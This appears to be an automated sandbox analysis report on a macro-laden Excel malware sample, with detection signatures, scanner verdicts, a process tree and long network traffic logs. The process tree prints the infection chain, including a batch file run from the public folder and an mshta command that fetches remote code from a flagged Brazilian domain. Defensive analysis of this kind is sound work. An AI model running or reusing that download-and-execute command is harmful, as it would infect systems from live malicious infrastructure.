Edit tour

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.4489.28684

Overview

General Information

Sample Name:	SecuriteInfo.com.Exploit.Siggen3.17149.4489.28684 (renamed file extension from 28684 to xls)
Analysis ID:	684696
MD5:	a5589d03da5b07fa9b035921b38ba29f
SHA1:	3468f6de4c2f018812c4393bffdc336ce8b73848
SHA256:	1f60b1d80f74e60f61191fa9867de7b95cf5f0df6ae545aab006ddd983eb467d
Tags:	xlsx
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Machine Learning detection for sample

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Document contains an embedded VBA macro with suspicious strings

Document exploit detected (process start blacklist hit)

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Stores large binary data to the registry

Document contains an embedded VBA macro which executes code when the document is opened / closed

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enables debug privileges

Potential document exploit detected (unknown TCP traffic)

Searches for the Microsoft Outlook file path

Uses a known web browser user agent for HTTP communication

Installs a global mouse hook

Creates a window with clipboard capturing capabilities

Uses taskkill to terminate processes

Document contains embedded VBA macros

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1236 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

cmd.exe (PID: 1796 cmdline: cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

PING.EXE (PID: 2928 cmdline: ping -n 8 127.0.0.1 MD5: 5FB30FE90736C7FC77DE637021B1CE7C)

cmd.exe (PID: 676 cmdline: cmd /c start /min taskkill /f /im WINWORD.EXE MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

taskkill.exe (PID: 1440 cmdline: taskkill /f /im WINWORD.EXE MD5: 3722FA501DCB50AE42818F9034906891)

mshta.exe (PID: 1992 cmdline: mshta http://facextrade.com.br/wp-includes/certificates/4.txt MD5: 95828D670CFD3B16EE188168E083C3C5)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	Virustotal: Detection: 49%	Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	Metadefender: Detection: 29%	Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	ReversingLabs: Detection: 41%

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls

Avira: detected

Antivirus detection for URL or domain

Source: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.60C;	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/feed/atom/Y	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0ET4.0E)re	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.21.2.1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css.css?ver=4.9.204.9.201.2.8.1241	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204179	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/ae	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.com	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/xmlrpc.phpa	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.019	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1la	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6i	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0P	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg.0=1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0C:	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6ver=2.3.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3-US	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2ii	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.30E)ferr	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/privacy-policyflateC	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.30E)nsla#	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css.NET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)&	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)J	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.40ET4.0E)0=	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.d	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/feed/	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3er=1.0.	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.200.NET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20author	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/xmlrpc.php	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.04.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3C:	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/wlwmanifest.xml	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txt...3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/privacy-policyng4	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png$	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtmshta	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/P/1.1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.01.0)h	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0=1.06_pai	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0.NET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtsmshta	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0S	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4C:	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txt#D	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2P	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/style.cssBn	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.00E)Hl	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.cssstr	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3.0ks	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtcy	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: facextrade.com.br

Virustotal: Detection: 5%

Perma Link

Machine Learning detection for sample

Source: SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls

Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49178 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (creates forbidden files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\Public\Outlook.bat

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\cmd.exe

Source: global traffic	DNS query: name: facextrade.com.br
Source: global traffic	DNS query: name: facextrade.com.br
Source: global traffic	DNS query: name: netdna.bootstrapcdn.com
Source: global traffic	DNS query: name: translate.google.com
Source: global traffic	DNS query: name: storage.ie6countdown.com

Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
